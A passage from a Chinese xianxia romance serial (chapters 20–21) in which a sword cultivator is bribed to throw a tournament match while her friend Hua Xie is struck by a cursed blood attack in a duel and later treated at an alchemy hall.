谁知她刚回仙居,伸手还未将木架上的酒壶取下,窗外忽有破空声尖啸而来—— “铮!” 一支玄色长箭擦着她的鬓发钉入身前的木柱,箭羽犹自震颤不休,发出蜂鸣般的余响。箭身缠绕着靛青色的灵气,如灵蛇般游走不定,却没有些许攻击意图,倒像是被人施加了追踪的术法。 ——这里是临仙剑宗,谁在射箭?! 洛云晚一时间被吓得脸色一沉,眯眼握住那箭杆将其生生拔下。 指节扣上箭杆的刹那,箭身并着那靛青的灵气如烟尘般消散,很快,她的掌心便只剩下一个先前挂在箭镞上的布袋,和一张素色纸笺,刻印着飘逸的字迹: ——“未时一刻,后山寂林,必有重谢。” 洛云晚把纸笺随手丢到一边,又打开沉甸甸的布袋,玩味的眼神却忽地一滞:“这……” 袋中荧光随着她的动作一泄而出,将她的脸颊映得熠熠生光;其中满满当当堆叠的,尽是剔透琉璃的上品灵石,最上层的两颗甚至已化出天然的道纹,凝汇天地之精华。 ……发财了!这可是凭空送上门的钱啊! 洛云晚把灵石尽数倒出,澄澈晶莹的五颗上品灵石便乖巧地在手掌心里碰撞,发出清脆而美妙的声音。 天杀的,她作为剑宗宗主亲传弟子一个月的月例才五十颗下品灵石,换算下来也就一颗中品灵石,这无名氏一来就给她送了五颗最上品的,得是她多少个月的薪资啊! 洛云晚嘻嘻笑得嘴角都收不住,却突然又想起方才捏在手中的纸笺,那写信人邀她未时一刻去寂林……摸不清来历,而且寂林常年阴森避光,林中山兽群集,像她这样的本派人都很少前往。 ……不去不就得了。待会儿还有花榭的仙法对决,准点看他比赛去。 反正这五颗灵石对她来说是白赚,那写信人既然敢这般交予她,那就得做好竹篮打水一场空的心理准备。 洛云晚把灵石小心翼翼收入自己的乾坤袋,转头又哼着小曲取下木架上的酒壶,优哉游哉给自己倒了一壶桑子酒。 是的,我们剑修就这么见好就收,谨小慎微。 …… 未时一刻,后山寂林中。 呜咽寒风里,一个身着黑衣斗篷的修士漠然抬眼,望见步履从容的白衣剑修,开口声音模糊莫测:“……你果真来了。” “说吧,”洛云晚冷淡的面容逐渐在迷雾中清晰,她右手按住身侧的玄色长剑,冷声问道,“有什么重谢?” ……没办法,她真的很好奇啊!随手就能阔绰给出五颗上品灵石的人,不敢想这所谓的重谢会有多丰厚! 洛云晚按捺住冲动,抬眼又望向那人,却看见了一个意想不到的面容。 20、第20章 “承让。”花榭理过黑衫衣袖,对面前女修弯了弯眉眼。 “久闻花道友名姓,”对面女子素手轻抬,将一缕散落鬓发别至耳后,腕间银铃叮咚,又有礼道,“今日与君论道,是清月之幸。” 花榭勾唇,笑意未达眼底。 “清月,准备上场了。”那女子身后站着的高壮男子上前一步,将手中水壶递与她。 他身材高大面色憨实沉稳,皮肤也是偏深的麦色,在众多修士中很有记忆点。花榭在此前了解过他,邬清回——无忧门这次出席仙门大比的带队大师兄,天赋平平,但胜在勤能补拙又资历深厚,也得了一众弟子爱戴。 “多谢师兄。”仇清月小口抿过,声音淡雅又沉着,素色青衫从容翩舞。 对于这次的对手仇清月,花榭在赛前也做过一番功夫——她是法修中百年一遇的天才,邬清回的直系小师妹。她出身贫寒,年且十一时偶然参加了宗门选拔,又因其体内充盈的灵力和得天独厚的灵根条件被无忧门长老选中,此后修炼便是顺风顺水,修为飞速精进,一跃成为当下仙门大比的夺魁热门选手。 对上她,花榭知道这会是一场苦战,但他从不会在对决前就去担忧胜算问题。 “清月,”无忧门带队师兄邬清回凑到仇清月耳边低声嘱托了几句,又道,“莫要大意。” 仇清月清雅的嘴角微微勾起,谦逊应声:“师兄,清月知道了。” 花榭双手环抱在胸前默默注视二人交谈,他的师兄师姐没像其他选手的同门那般来过备战室提点他,花榭也不在意。 又听锣鼓一鸣,身前女修便轻盈一跃至台前。 “在下无忧门弟子仇清月。” …… “哦……”洛云晚拖长语调应声,又沉声问面前人,“青云剑宗?前辈找我何事?” 身前人低头摘下斗篷,露出一张风霜而和蔼的老妇人面容。她对洛云晚一笑,皱纹攀上面颊,声音也不再模糊,而是苍老又和缓问她道:“不知小友此前对我青云剑宗有何了解么?” 洛云晚没弄明白老者的意图,不过看上去对方也没有多大恶意。她只知道方才老者自我介绍是青云剑宗的长老,而等她解开黑色斗篷后,身上的紫袍纹路显露出来,确切是青云剑宗的服饰。 ?所以是准备挖墙脚吗?如果待遇真的很好她愿意的,真的。 洛云晚略略思索片刻,恭敬答道:“回禀前辈,晚辈在修行时常闻师尊提及青云剑宗,论其‘惊雷破月’剑招的玄妙;剑宗黎江师兄更是在此次论剑大会大放异彩,当真出类拔萃。只是晚辈见识浅薄,不敢妄议大道。” 她叽里咕噜说完后,眨眨眼隐晦瞄那妇人的神色——嘴角莫测的笑容更深了些,眼神更是在她提及黎江时亮了几分。 ……所以是满意还是不满意?一番恭维快把她的脑袋瓜想破了!都说了不要问她这个体育生文化题啊! “小友竟是认得我宗弟子黎江?呵呵……”没想那长老眯起眼长声笑,又道,“黎江那愚钝孩子资质不如小友一分,到头来光长年纪不长修为,能被你记得倒是他的荣幸罢。” “不敢不敢。”洛云晚隐隐倒吸一口凉气,连忙推拒,生怕她再说出什么捧杀她的话来。 至于她为什么记得黎江……那日后山赌赛杨胖子把她身上全部灵石赢光了这件“美事儿”便是出自于这个黎江! 明明赛前分析时她看着选手的宣传片口口声声说他不行,结果正赛人家直接一个利落剑招碾压对手,顺便也狠狠打了她的脸,让她再没有信心赌赛。 如今过了好些天,洛云晚回想起来还是一肚子的冤屈和欲哭无泪。 谁知下一瞬间,那年迈妇人的神情柔和下来,生生向前走过几步,握住她的手道:“小友,老身此刻叫你来寂林会面,便是与你说上这黎江师侄的事。” 手掌突然被老者温热的掌心覆盖,洛云晚一愣,又见她快速松开手,从腰间掏出掏出一件灿色法器来。 那法器被她注入灵气,溶解幻化出一张灿金的屏障将寂色暗林中的二人覆盖。 …… “铛!”灿色屏障挡下青绿荧芒的一击,生生绽开几缕裂纹。 仇清月双手凝诀,灵气再次聚集于指尖,腕间银铃轻晃,传来一阵清脆的响声,下一瞬,苍黄法诀如碎星点地般倾洒,直直逼得台上黑衣少年后退数步。 她一身青衫衣袂飘飘,素雅又从容,袖中流光轻闪,引一众看客叫好。 “这是无忧门的天才小师妹!土系天灵根!今日一见果然如天仙出尘!” “不瞒你说,我押的这届仙法对决魁首便是她!” “她踏入仙途才十余年便已修成心法第二卷,据说大师兄如今还在第三卷陷入瓶颈呢!” “……后面那句可以不说。”那看台最后排的激动修士身旁站着的男修双手环抱语气淡淡,“我就是那大师兄。” “抱歉道友……”修士老脸一红连声向邬清回道歉,忽而又听周围一众喧哗,仰头看清又高喊道,“啊!仇道友当心!” 只见话音所及之处,黑衫少年右手并指,任风卷动他的衣摆,随着指尖划过虚空,一缕青绿灵气如春藤破土,自他指间簌然迸发! 他容貌昳丽如画卷中人,嘴角微勾,右脚后撤点地,又骤时如游龙般贴近仇清月的身侧! 那擂台上的黑衣少年甫一占了优势,台下众人便瞬间变了脸色—— “偷袭无耻!”“师妹小心!”“花榭给陆师兄道歉!”“这种低劣小人就不该参赛!” “呵。”众多的话语声一并漫入他的耳中,花榭在擂台上却是薄唇微挑,漂亮的脸上扬起一个讥讽的轻笑,“抱歉,今日站在台上的是我,而不是你们那陆师兄。” 话音落下,他的灵气与仇清月交手,两点荧芒在空中绽开又碎裂,二人唰唰擦身,又相对而立。 “这花榭也太可恶了!”方才站在邬清回身侧的激动修士神情愤慨拉住他又喋喋不休道,“怎的就会使阴招!” 邬清回不语,一旁面容稚嫩的小修士懵懂问道:“师兄,为何你这般讨厌这个花榭?我见他实力不错,样貌也是极佳,莫非做过什么缺德事?” 激动修士低头看她,估摸她年纪尚小不常了解仙门八卦,便面露狠色解释道:“此人心狠手辣内心极为阴险,与他交好之人皆受他背叛,昨日还在对决中故意挑衅出招伤了听海门的陆奉道友!此乃小人也!” “啊,”小修士闻言却掏出法器递与他看,疑惑道,“可是那陆师兄方才已经澄清了?” 激动修士凝目一看,那法器上鎏金的字迹列列规整,正是显露着署名为“陆奉”的留言:【在下听海门陆奉,昨日是在下失言在先,花道友情急之下才出手伤人,在下不该颠倒黑白污花道友清誉……】 修士没看完便厌弃地把法器还给她,叫嚷道:“这陆奉怕不是被打了一顿后威胁澄清的罢,不可信不可信。而且花榭是合欢宗的,这些将双修写进心法的无耻家伙哪有什么清誉可言?你勿要轻信表象了!” 那小修士抿抿唇,又出声问他。 …… “假、假赛?!” 洛云晚装作冷淡的神情罕见呆了呆,唇瓣惊愕地张开,像见鬼了一般看向眼前来自青云剑宗的老妇人。 “诶,”那老者和蔼的眼睛眯起,却是露出犀利的光来,缓声道,“小友可不能这么说啊,假赛一词可说不得。老身只是问你是否愿意在下一场对决的关键时刻……稍让我那不成器的师侄三分罢了。” 那不就是打假赛吗!门都关了还装什么敞亮! 洛云晚隐隐扫视这将二人笼罩的灿金色屏障,又对望上老妇人污浊的眼。她的笑容依旧慈祥和蔼,看向她的眼瞳深处却带着从容的暗光,似乎对她的回答很有把握。 ……又或者是,无论她回答什么,对方都能将其变为自己愿意听到的。 洛云晚抿唇,神色又变为冷清。她此行来得匆匆,慌忙之间扎起的凌乱高马尾随着她垂头的动作在脑后飞扬,又重新垂落在她出尘的白衣边上。 此前在临仙剑宗逍遥了好些年,她从未亲身经历过“被人贿赂打假赛”这档子事。话本里倒是看过好一些,不过这种角色要么是“一时受辱之后扬人全家”的热血主角;要么便是弄虚作假后被狠狠拆穿的倒霉蛋。 她不觉得自己心性暴躁到会因为打假赛一事觉得受了辱,之后扬了整个青云剑宗——那很显然的,她会是那种被拆穿后声名尽失人财两空的小喽啰。 ……这种事情不要啊! 洛云晚不着痕迹吞咽一声,抬眼忧虑对老妇人说道:“晚辈担心对决时在众多修士面前因紧张而露馅,恐对……” “不会。”老者声音温和,“我那师侄天资有限但也有几分实力,你且与他正常交战,在关键时机略显疏漏即可。” 洛云晚唇瓣微张:“前辈是否多虑了?晚辈先前见黎师兄身姿非凡剑招利落,轻松便一招致胜。晚辈与他交战也少有胜算才是。” “哦不,”老者慈祥微笑,摇摇头道,“坦白说与你听罢,上场对决是许道友状态欠佳灵气滞涩,方才让我那师侄占了上风……呵呵。” 说白了就也是假赛呗。 那许道友对决失败后又是颓唐失神又是喃喃低语的,敢情演技挺好啊! 洛云晚闻言并没有惊诧之情,反倒暗地里狠狠咬牙。 天杀的!她就说自己其他派别看不明白也就算了,怎么连剑修的对决都会赌赛输光灵石——原来是这龟儿打假赛! 还她灵石啊啊啊! “这些,”老妇人没品出此时眼前人的崩溃情绪,只是伸手从怀中取出一只流云纹饰的锦囊,解开袋口的缠金绳,“皆是品相上好的灵石,共三十颗。若是事成,来此故地,老身还会予你五十颗最为上品的。” 她将锦囊往前递了递,语气温和:“你是个聪明人,应当明白……有些机会,错过后便再难有了。你资质甚佳,这之后的扬名方式还多得很,可我那师侄如今很需要这一次的比试。” 洛云晚默了默,指尖无意识捏紧了袖口。脚下枯叶发出清脆的碎裂声,似乎在催促她的决定。 幽暗寂林里忽地吹来一阵风,卷起屏障外纷飞的落叶。 …… 夹杂在术法中的叶片被轻易切断,日光透过层云辉映着明灭的幻色荧芒。 台上青衫女子足尖轻旋,裙裾如云浪般绽开。眼见她素手翻飞,腕间银铃轻盈晃动间,竟是三层沙石自地暴起,生生蔓延直抵对手,一阵黄沙尘土烟扬,将对面之人身形尽数掩盖。 女子手中动作未停,指尖苍黄灵力溢出,沙石转眼寸寸碎裂,又化作无数细若牛毛的尖刺,朝那对手激射而去。 “好!仇师妹这招真利落!”台下修士纷纷叫好。有年轻修士甚至踮起脚尖,试图看清沙尘中的状况。 “唰”。 飞扬的烟尘却忽地一滞。 一道黑衣身影擦着土石侧身跃出,如墨的发丝翩飞在脑后,他艳色的脸颊被破空的砂砾划破了几道长痕,溢出星点的血珠,双手合于身侧,口中飞快念过法诀,神情却肆意张扬。 他纵身闪躲尖刺,落地轻喘一声,指尖青绿灵气立即凝聚成一个圆球,在土石突刺来时又迅速涨大,生成一个荧绿的屏障将其尽数摧毁。 这便是洛云晚匆匆赶到现场所看见的景象。那圆球法盾,看样子比对方送她的那个更为厉害些。 总算赶上了,打得挺激烈嘛。洛云晚嘴角略略勾起一抹笑意。 她潦草绑起的发带在飞速御剑途中解开,不知散落何处了,深黑的发丝也和台上人一样披散着,纷飞飘扬。 花榭站定身子后正好对着她的方向,抬眼望过来时神情滞了滞,胸口起伏间又飞快移开视线,只是嘴角扬起的弧度更甚。 不知道看见她没。 “看样子仇清月要获胜了!”一旁的修士神情兴奋侧头问道,“邬师兄你怎么看?” 洛云晚“嗯?”了一声。 那修士听声音变了样又惊疑回头看,才发现之前站在身旁的邬清回已经没了踪影,如今换成了一个神色冷清的白衣女修。 他也不管这些,只是激动道:“太好了,看见花榭落败我就满意了!” 洛云晚:……对家别贴脸。 她凝目望向擂台,没理会他。 她能看得出来,花榭的修为相比与那位青衫女子是会逊色一些,交锋时也常有落于下风;但他打得肆意淋漓,也着实惊艳了洛云晚。 这还是她第一次看花榭在擂台上的模样呢。 少年本身生动艳色的神情染上几分专注和凌厉,薄唇轻咬,纤长的手指翻飞着精妙法诀,墨色衣衫和长发一并飘逸飞扬,倒是更显得动人。 她抬眼又看台上二人再次交锋,一黄一青两道磅礴的灵力在半空相撞,爆发出震耳的轰鸣。 “谁占了上风?” “会赢吗!” 台下一众修士俱翘首以盼,甚至有人屏息不敢出声。 不料灵光散去,花榭扶臂落地正欲抵挡,对面仇清月却面色煞白,手掌直捂心口,猛地喷出一口鲜血—— “噗!” 猩红的血水溅落花榭领口,血珠触碰到他颈侧肌肤,霎时又如滚油般烧灼。 “唔……!”花榭错愕着神情忽地吃痛皱眉,白玉般的脖颈竟以肉眼可见的速度飞快变得乌黑,如同蛛网般向四周蔓延。 台下众人都因一时的突变呆滞住,忽而又听得焦急的一声高喊:“师妹!” 一道青衫身影凝着法诀飞掠上台,黝黑的面容尽显怒色,正是仇清月的大师兄邬清回。他神情惶恐地扶住摇摇欲坠的女子,抬手又怒指花榭震声叫骂道:“好一个阴毒小人!技不如人也就算了,竟敢在比试中使出这般恶招!” 一众看客顿时哗然。各派弟子这才反应过来,怒色攀上面颊,你一言我一语纷纷指责叫骂,有暴躁的甚至已经拔剑出鞘,势要将花榭大卸八块。 花榭却怔在原地,颈间灼痛烧如火燎,却不及心头的无措惊疑。 那邬清回见他一言不发更是愤慨,指尖法诀一凝,面色凶狠又骂:“你怎会使出这般禁咒害我师妹!” 一旁的长老忙一跃至台前,抬手欲制止眼下的混乱,却见一道凌人剑光一闪而过—— “铛!” 洛云晚挥剑扫开灵力,手中长剑凌厉一转,横挡在花榭身前,披散的长发在风声中飘扬。 “事发突然,”她神情阴沉,冷声开口,“道友怎能认定是花榭使出禁咒。” “是洛云晚!” “她怎会插手此事?” “难道果真如昨日那般,她私下竟与花榭交好?!” 台下修士议论声愈发嘈杂,更甚者五官飞扬,已经高声骂她“同流合污”。 “莫非你倒认为是我师妹施加禁咒暗害自身?!”邬清回面上一怒,似是听得台下声音,又怒指洛云晚,“你们临仙派的就这般为人吗!” 洛云晚握紧长剑,沉声开口:“我……” “唰”。 话音未落,花榭挥袖从她身后走出,抬手捂着自己被血飞溅而变得烧灼的脖颈,漂亮上挑的桃花眼低垂着。 “我与你并不相识,”他声音淡淡,不去看洛云晚,又漠然道,“道友何故沾染一身是非。” 21、第21章 不相识? 洛云晚闻言惊愕扭头,飘飞的发丝遮挡住她的视线,朦胧中只见得黑衣少年抬手露出的腕间似雪的肌肤。 他身上隐隐的桃花香一并顺着风吹拂而来,身影在偌大的擂台上显得飘摇又清瘦。 他没扭头,也没用视线去看她。一手捂着脖颈处乌黑蔓延的痕迹,一手攥着身前的衣摆,纤长指节紧握着颤抖而泛白,没再说话。 “什么?竟是不认识吗?” “那洛云晚为何上台,纯粹想添乱吗?” “呸!他说不认识你就信啊?昨日我也在场,那白衣剑修戴了帷帽看不清模样,如今这么一回忆,那人实打实就是洛云晚!” “真的假的啊?” 前排修士的议论声混杂着传入耳中,洛云晚持剑的手抖了抖,深吸一口气后又将长剑垂下,垂眼冷声道:“是,我与你不相识,只是见不得有人不知真相便按头判罪罢了。” 花榭闻言侧头看过来,如水的眸子氤氲着,流光一转便又收回了视线。 “你说谁不知真相?”对面高壮黝黑的邬清回一听急了眼,把虚弱吐血的仇清月揽在怀里,额头青筋爆出,“我师妹如今身负中伤生死未卜,不是那花榭害的还会是谁?!” 一旁站着的长老怕事情闹大又打起来,忙勾了道屏障隔绝看台修士视线,又话语急切劝阻道:“对决中止!不论真相如何,先随我送伤者去太虚丹阁诊治!”她指邬清回又扭头看洛云晚,不由分说指使道:“你,陪花榭来。” “是。”洛云晚冷声应道。 闻言,那长老指尖荧芒一闪,一道传送法诀正要凝成,邬清回又震声道:“慢着!” “我看着花榭道友的伤势……”他横眉一皱,凶狠的目光上下打量,又停在黑衣少年的脖颈处,沉声道,“好像不太对劲。” 现在是管这些的时候吗!快去治疗啊! 洛云晚搞不懂这人的脑回路,只是慌忙转身扶住花榭。而当她扭头瞟到少年的脖颈时,冷静的面容却突然一怔。 眼前人平日里那白皙如玉的脖颈颤动着,被鲜血溅过之处的皮肉泛起不自然的紫黑,冷色肌肤上如蛛网般蔓延的纹路已经攀上了他整个侧颈,血管在皮下诡异地凸起,似有活物在其间游走。 他张开的手掌已经无法遮盖住侵蚀的皮肉。 洛云晚又抬眼去看,花榭正轻垂脑袋,墨色的发丝被汗水粘黏在脸侧,他的肩头随急促的呼吸起伏着,往日殷红的薄唇被死死咬住泛起苍白,又有朱艳的血珠从唇角滑落。 他似乎疼得厉害。难怪方才一直没有出声。 洛云晚顾不得许多,忙将他搂在怀里,又握住他颤抖的手腕。 花榭失神地抬眼望了望她,澄澈的眸子晕着水光,手腕从脖颈间移开,才发现掌心里也是青黑一片。 洛云晚的手指无意擦过他乌色的掌丘,却被烫灼得下意识一抖。 她一瞬间心慌失措了。 方才在擂台上大展身手肆意又明艳的少年不过短短一时,却如同失了生机的黑翅蝴蝶般躺在她怀里,滚烫又轻盈。 她本想、本想等他对决结束后,无论胜负如何,用她新赚的灵石请他去好好喝一杯的。 “长老快走啊!”她攥紧怀中人的衣袖,慌乱看向擂台上的长老,也顾不上什么无情道什么高冷,高声又道,“人命之事容不得多等!” 那长老神情一凝,指尖抵住唇角。随着法诀的低声念出,擂台上逐渐出现一道淡色荧芒覆盖住在场几人。 荧芒渐盛,眼见传送法诀将要凝成,邬清回却左手灵气一扫,硬生生打断了施法! “且慢!我认出来了!”他面色阴沉,咬牙怒喝道,“这是解形戮魂咒!中咒修士灵气当场紊乱,内脏受损,修为愈深腐蚀愈重!可若中咒者是妖邪,则会使其血肉解形,显现妖身!” 你有病啊!要你解释吗! 洛云晚气得手指攥紧,方才握在右手里的长剑还未收入鞘中又冷冷抬起,锋芒直指对面人! 她散落的发丝被吹得飞起,又与怀中花榭的黑发交融在一起。 “道友何故要耽误诊治?”她眼神暗沉,“也为了你的师妹。再说一句,我砍了你。” “……”那邬清回本身闻言怒意更胜,却又突然滞了滞神情,嘴角略微勾起,没再回话。 长老法诀一凝,几道身影消失在擂台上,隔绝屏障也应声消散,唯留一众看客不知状况尚未回过神来。 …… 太虚丹阁。 夕色斜照,檀木匾额上飞扬的“百草凝晖”四字被映得泛起微光。浓郁的药香混杂着千年灵木药材的涩味扑面袭来,周身缭绕着炼丹炉生出的白雾烟尘。 “砰。”门被一个瘦削长须的男人合上,也隔绝了腾生的白烟。 “玉宗主,”洛云晚连忙迎上去问道,“伤者如今情况如何?” 那男人,也就是临仙丹宗的宗主玉无涯斜斜扫过她一眼,边向游廊走边轻叹一口气道:“这解形戮魂咒的解药极为麻烦,先喂他服了两枚清心丹疏通了内力,人是醒了,不过还不能使用灵力。” 洛云晚长舒一口气。 玉无涯捋捋长须,狭长的眼睛又直直凝视着她,忽而出声,音调淡淡:“有意思。洛云晚,你是如何与这位花榭相识的?” “嗯?”洛云晚一愣,如实相告道,“那日仙门大比结束后,我在仙山下的寻味坊偶然结识的他。玉宗主所言何意?” “呵。”玉无涯扬眉一笑,眼神却变得深邃,沉声问她,“那你知道这解形戮魂咒对于中咒者有不同效果么?” 他俯身略略微笑着等待她的回答,就像好些年前初入门派的洛云晚秉着一心好奇来丹宗蹭课被逮到的那般,玉无涯笑眯眯地抚着胡须问她知不知道“丹药可以做成红烧肉味儿的”。 “……”洛云晚闻言抿唇,脑中又想起邬清回在擂台上说过的那一番话,喃喃道,“似是对修士与妖邪不一……” 她说着一愣,颤着眼瞳惊诧抬头。 玉无涯如料想到她的反应一般眯眼长笑,瞳色深邃莫测,又缓缓道:“你这位朋友,似乎与‘妖’有不小的联系呢。” “若中咒者是妖邪,则会使其血肉解形,显现妖身”。 她想起邬清回的话,脑中又闪过将花榭抱在怀里时看见他颈侧侵蚀烧灼的肌肤和青黑的纹路,的确与仇清月中咒后口吐鲜血的状况不同。她原以为是因为花榭被她的血水溅到的缘故。 难怪邬清回最终嘴角勾起,任由长老施法将她们传送至太虚丹阁。 妖?还是妖修? 可是之前青青阿姐分明说花榭不是妖,她在相处时也分毫未察觉。 洛云晚眉头一皱,望向玉无涯启唇道:“这其中或许……” “前辈,这当中另有隐情。” 她的话未说完,却被一道冷淡漠然的声音打断。那人步履沉着从她身后走来,竟是合欢宗的大师兄徐鹤卿。 他没回应洛云晚惊疑的目光,只是直直看向玉无涯,忽地对他行过一礼道:“合欢宗徐鹤卿,拜见玉宗主。” 他似乎来得匆匆,束发乱了些,往日里规矩扣到脖颈的衣扣也没来得及扣上,略略散在领口,衬着他内里的那件黑墨紧身衣。 “有趣。”玉无涯用枯瘦的手捋了捋胡子,笑问,“这莫非是你们合欢宗隐瞒的秘密?竟这般大胆?” “玉宗主。”徐鹤卿面不改色恭敬答道,“此事仅合欢宗主与晚辈知晓,花榭……一概不知,他实则也并非妖修。” “诶?”洛云晚听得惊了一下。 不光她如此,玉无涯也挑了挑眉,笑意更深:“这倒是奇了,莫非是妖灵?半妖?可尽管你说与老夫听了,又该如何向这仙门解释呢?” 洛云晚默然,她知道如今的仙门修士对妖修极为排斥,再加花榭本就名声不好,恐怕更生是非。 虽然邬清回在擂台上吐露咒言效果时因长老的隔绝屏障,并未让看台的一众修士听见,可如今与他结了仇怨,对方自是不可能替花榭守口如瓶;而且这丹阁中人来人往,若是被懂行的修士瞧见了,估计也要另生冲突。 这该如何…… “咚!” 突然的一声重响打断了洛云晚的思绪,她眸子一颤—— 视线里冷硬的地板上忽地映来一道墨色的衣摆。 ——徐鹤卿一言不发便朝玉无涯跪下。 他的脊背挺得笔直,束发的玉冠微微倾斜,留一缕碎发垂在额前,衣领也略有凌乱地散开,但神情却坚毅而严肃。 “求玉宗主开恩。”他垂眼行礼,恭敬道,“请让晚辈带师弟离开丹阁。” 廊外山风阵阵,吹拂过他飞扬的碎发。有发丝掠过脸颊,徐鹤卿也仍旧跪直身子不曾拂去。 玉无涯垂眼,片刻后摇头轻笑一声,摸着长须道:“老夫可受不起这等大礼。若是你带花榭走了,这解咒的药材可得自己去寻了。” 徐鹤卿震声:“晚辈明白。” “……”玉无涯沉默半晌,突然衣袖一拂,转身往丹阁走去,轻描淡写道,“与我来罢。但愿老夫今日的决定不会留下祸事。” “多谢玉宗主!”徐鹤卿胸口起伏站起身感激道。 “你这孩子性子倒全然不像你师尊。”玉无涯枯瘦的手臂一挥示意他跟上,又扭头指了指鬼鬼祟祟的洛云晚,虚空点点她的脑门,“洛云晚不许跟过来。” 洛云晚踮起的脚尖一顿:“……” 知道了! 她以前年纪小时去丹宗蹭课也这样,小老头的知识产权保护做得倒挺强! ……当然最后还是在她委屈得眼泪汪汪的时候放她进去听了就是。 …… 等洛云晚在夜里终于偷摸到花榭的仙居门前时,徐鹤卿刚刚从这屋里出来。 松涛翻涌,夜幕沉沉,山间归雁的鸣啼在仙居外显得遥远不及。二人“砰”地在门前相撞。 看清来人模样,徐鹤卿捂着胸口,一向死气的脸上似乎多了一丝震惊,不问她来这干嘛,第一句话却是:“……你怎么找到这来的。” 洛云晚揉着额头也装作冷淡:“我自有我的手段。” ……好吧,其实就是她在仙居酒店里一个一个逮着人问出来的。 “你不该来找他,”徐鹤卿冷声道,“他不愿你受牵连,也不愿见你。” “花榭是我的好友。”洛云晚仰头直直与他对视,“今日事发突然,也不知后续情况……我担心他。” “呵。”徐鹤卿少见的嘴角略微勾起,不像笑意倒像嘲讽,“无情道也好意思称什么‘好友’。” 洛云晚一愣,正想着眼前人是不是之前被无情道修士伤过才这么嘴毒,没想徐鹤卿却冷冷从她身侧擦过。 正擦肩时,他略略低头,凑她耳边冰冷道:“不要伤了他的感情。” 老丈人吗你是!这奇怪的既视感! 她吓得一转头,却只见徐鹤卿背过身那从容步伐下飘飘的墨黑衣摆。 …… “师兄怎的又来?”花榭澈澈的尾音有些轻,“不是告知你了吗,我不愿……” 他抬眼一愣,话音生生止在唇齿间,水色的桃花眼眨了眨,又呆滞了。 “是我,小少爷不满意?”洛云晚带上门,快步走近,见他纤白的脖颈被缠上好些圈裹伤布,又问,“如今好些了吗?” 花榭眼瞳颤了颤,别过头去,高高的马尾随着他的举动而飘扬,只是咬唇,声音极其轻:“你怎么来了……” 她下午头发散了一直懒得扎,花榭却因上药而缠起了高马尾,倒像是二人互换了发型。 花榭的面容极为明艳动人,任何发型与他都是极为相配的。今夜扎了高马尾反倒更显出五官的贵气精致,鬓边与她之前一样轻垂着两缕发丝,看着飘扬又乖顺;碎发柔柔垂在额前,遮住了他微微蹙起的眉头。 他的脸色因中咒而苍白了些,唇瓣倒是恢复了血色,如今被他咬得看上去更加红润。如水的眸子微垂着,略有红霞飞染双颊耳畔,似羞似嗔。 怎的这般漂亮。 洛云晚心神一愣,忙拉回纷飞的思绪,走近他的床边,垂头道:“让我看看,还疼么?” 走近后他身边缭绕的香气也一并进入了她的鼻子,依旧是桃花香,清浅宜人。 花榭偏了偏头,开口却是极为轻声的推拒:“别……” “好生养伤,”洛云晚望着他道,“这些天我常来看你,有事一定要与我说。” 她抬手正将触及他仰起的下颌,花榭却忽地转头,伸手抓住了她的手腕。他指尖的温度,灼热而滚烫的。 “你不该与我撇清关系才对么?”他从床边仰起头,潋滟眼眸氤氲着她的模样,又蹙眉轻声骂,“为何要一味凑上来,笨蛋。” 不该,不该。一个个都对她说不该,似乎人人都比她更会做人,更会替她作出决定。 她愿意来找他,愿意承认与他的关系,怎的就遭世人批判不成。 洛云晚眼神沉了沉,乌黑的长发垂落在胸前,显得眼瞳更加深黑,只是淡淡道:“我不忍见你一人受苦。” 花榭眼瞳一怔,潋滟眸子忽地滑落一滴水光,又慌忙摇头将水色抖落,唇瓣微张:“你究竟修的什么无情道啊……怎的这也不忍,那也放不下。” 又是无情道。 莫非真有人能放得下自己的感情? 反正她不行。 洛云晚听见这话便心生烦闷,她早就不愿再假装修炼这玩意儿了,干脆坦白说了算了! 这般想着,她直直望向花榭,开口便说:“其实我根本没修……” 话音未落,床上那人却忽然抓住她的衣领将她拉得俯身,脸颊满是绯色,仰起脑袋便吻上了她微张的唇。